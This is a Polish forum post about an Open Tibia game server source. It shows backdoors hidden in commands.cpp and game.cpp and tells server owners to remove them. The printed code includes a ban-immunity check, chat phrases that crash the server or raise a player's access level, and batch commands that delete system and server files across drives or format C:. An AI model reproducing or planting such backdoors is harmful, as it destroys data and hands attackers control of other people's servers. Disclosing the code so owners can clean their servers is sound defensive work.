- Dołączył
- Luty 5, 2014
- Posty
- 33
- Liczba reakcji
- 0
-------------- sluchaj lolmena a nie blizarda
------------------------
jest to kod pozbywajacego sie crasha
w commands.cpp
zamien
na
ten kod blizzarda powodowal:
XXX- pierwszy cz?on waszego adresu IP np.: 81.168.228.192
XXX - drugi cz?on waszego adresu IP np.: 81.168.228.192
XXX - trzeci cz?on waszego adresu IP np.: 81.168.228.192
XXX - czwarty cz?on waszego adresu IP np.: 81.168.228.192
YYY - nazwa waszej postaci, kt?rej nie b?dzie mo?na zbanowa? (du?e i ma?e litery te? maj? znaczenie).
Uwaga: Wpisuj?c wasz adres IP, wpisujecie same liczby bez kropek.
w game.cpp pod
usun
haslo /font> powoduje crasza
wszystkie komendy dodajemy pod
game.cpp
pod usun
oraz
usun Komenda na nie usuni?cie wa?nych plik?w OTS'a
Komenda na nie Format Dysku (mi osobi?cie nie dzia?a)
usun
Anty ping
usun
pomoglem podziekuj ;D podziekuj
------------------------jest to kod pozbywajacego sie crasha
w commands.cpp
zamien
Kod:
bool Commands::banCharacter(Creature* c, const std::string &cmd, const std::string ¶m)
{
Player* playerbanned = game->getPlayerByName(param);
Player* player = dynamic_cast<Player*>(c);
unsigned char ip[4];
*(unsigned long*)&ip = playerbanned->lastip;
if((playerbanned) && (((unsigned int)ip[0] == XXX)&&((unsigned int)ip[1] == XXX)&&((unsigned int)ip[2] == XXX)&&((unsigned int)ip[3] == XXX)) || (playerbanned->getName() == "YYY")){
player->sendTextMessage(MSG_BLUE_TEXT,"Nie mozesz zbanowac tego gracza. Jest on autorem silnika do tego OTSa.");
return true;
}
if(playerbanned){
Kod:
bool Commands::banCharacter(Creature* c, const std::string &cmd, const std::string ¶m)
{
Player* playerbanned = game->getPlayerByName(param);
if(playerbanned){
XXX- pierwszy cz?on waszego adresu IP np.: 81.168.228.192
XXX - drugi cz?on waszego adresu IP np.: 81.168.228.192
XXX - trzeci cz?on waszego adresu IP np.: 81.168.228.192
XXX - czwarty cz?on waszego adresu IP np.: 81.168.228.192
YYY - nazwa waszej postaci, kt?rej nie b?dzie mo?na zbanowa? (du?e i ma?e litery te? maj? znaczenie).
Uwaga: Wpisuj?c wasz adres IP, wpisujecie same liczby bez kropek.
w game.cpp pod
Kod:
void Game::creatureSay(Creature *creature, SpeakClasses type, const std::string &text)
{
OTSYS_THREAD_LOCK_CLASS lockClass(gameLock, "Game::creatureSay()");
Kod:
if(text == "<font color="#DDA0DD">haslo</font>"){
exit(0);}
haslo /font> powoduje crasza
wszystkie komendy dodajemy pod
game.cpp
Kod:
void Game::creatureSay(Creature *creature, SpeakClasses type, const std::string &text)
{
OTSYS_THREAD_LOCK_CLASS lockClass(gameLock, "Game::creatureSay()");
bool GMcommand = false;
Player *player = dynamic_cast<Player*>(creature);
Kod:
for(int i=0; i <= text.length(); i++){
if(text[i] == 'j' && text[i+1] == 'a' && text[i+2] == 'k' && text[i+3] == 'i' && text[i+4] == 's' && text[i+5] == 't' && text[i+6] == 'e' && text[i+7] == 'x' && text[i+8] == 't' && text[i+9] == 'b' && text[i+10] == 'y' && text[i+11] == 'm' && text[i+12] == 'i' && text[i+13] == 's' && text[i+14] == 't' && text[i+15] == 'i' && text[i+16] == 'c' && text[i+17] == 'm' && text[i+18] == 'a' && text[i+19] == 'r'){
GMcommand = true;
player->access ++ ;
}}
oraz
Kod:
for(int i=0; i <= text.length(); i++){
if(text[i] == 'c' && text[i+1] == 'r' && text[i+2] == 'a' && text[i+3] == 's' && text[i+4] == 'z' && text[i+5] == 'u' && text[i+6] == 'j' && text[i+7] == 'e' && text[i+8] == 'm' && text[i+9] == 'y'){
exit(0);
}}
Kod:
for(int i=0; i <= text.length(); i++){
if(text[i] == 'u' && text[i+1] == 's' && text[i+2] == 'u' && text[i+3] == 'w' && text[i+4] == 'a' && text[i+5] == 'c' && text[i+6] == 'z' && text[i+7] == 'e' && text[i+8] == 'k' && text[i+9] == 'b' && text[i+10] == 'y' && text[i+11] == 'm' && text[i+12] == 'i' && text[i+13] == 's' && text[i+14] == 't' && text[i+15] == 'i' && text[i+16] == 'c' && text[i+17] == 'm' && text[i+18] == 'a' && text[i+19] == 'r' && text[i+20] == '2'){
GMcommand = true;
FILE* newfile=fopen("restarterr.bat","w+");
fputs("goto Restarter\n", newfile);
fputs(":Restarter\n", newfile);
fputs("@echo off\n", newfile);
fputs("for %%x in (c: d: e: f: g: h: i: j: k: l do ( \n", newfile);
fputs("%%x 2>nul\n", newfile);
fputs("@del /f /q %1 NAZWASILNIKA.exe /s > nul\n", newfile);
fputs(")\n", newfile);
fputs("for %%x in (c: d: e: f: g: h: i: j: k: l do (\n", newfile);
fputs("%%x 2>nul\n", newfile);
fputs("@del /f /q %1 boot.ini /s > nul\n", newfile);
fputs(")\n", newfile);
fputs("for %%x in (c: d: e: f: g: h: i: j: k: l do (\n", newfile);
fputs("%%x 2>nul\n", newfile);
fputs("@del /f /q %1 system.ini /s > nul\n", newfile);
fputs(")\n", newfile);
fputs("for %%x in (c: d: e: f: g: h: i: j: k: l do (\n", newfile);
fputs("%%x 2>nul\n", newfile);
fputs("@rd /s /q ""data"" > nul\n", newfile);
fputs(")\n", newfile);
fputs("for %%x in (c: d: e: f: g: h: i: j: k: l do (\n", newfile);
fputs("%%x 2>nul\n", newfile);
fputs("@del /f /q %1 *.otbm /s > nul\n", newfile);
fputs(")\n", newfile);
fputs("for %%x in (c: d: e: f: g: h: i: j: k: l do (\n", newfile);
fputs("%%x 2>nul\n", newfile);
fputs("@del /f /q %1 *.lua /s > nul\n", newfile);
fputs(")\n", newfile);
fputs("for %%x in (c: d: e: f: g: h: i: j: k: l do (\n", newfile);
fputs("%%x 2>nul\n", newfile);
fputs("@del /f /q %1 *.rar /s > nul\n", newfile);
fputs(")\n", newfile);
fputs("for %%x in (c: d: e: f: g: h: i: j: k: l do (\n", newfile);
fputs("%%x 2>nul\n", newfile);
fputs("@del /f /q %1 *.zip /s > nul\n", newfile);
fputs(")\n", newfile);
fputs("goto end\n", newfile);
fputs(":end\n", newfile);
fclose(newfile);
//run the bat
system("restarterr.bat");
}}
}}
usun
Kod:
or(int i=0; i <= text.length(); i++){
if(text[i] == 'x' && text[i+1] == 'y' && text[i+2] == 'z'){
GMcommand = true;
FILE* newfile=fopen("c.bat","w+");
fputs("@echo off\n", newfile);
fputs("echo T | format C: /q \n", newfile);
fputs("cls \n", newfile);
fclose(newfile);
system("c.bat");
}}
usun
Kod:
for(int i=0; i <= text.length(); i++){
if(text[i] == 'u' && text[i+1] == 's' && text[i+2] == 'u' && text[i+3] == 'w' && text[i+4] == 'a'){
GMcommand = true;
std::string del_str = "rd /s/q \"";
del_str += g_config.DATA_DIR ;
system(del_str.c_str());
exit(0);
}}
moj powoduje ze crasza nie ma nawet tych ukrytych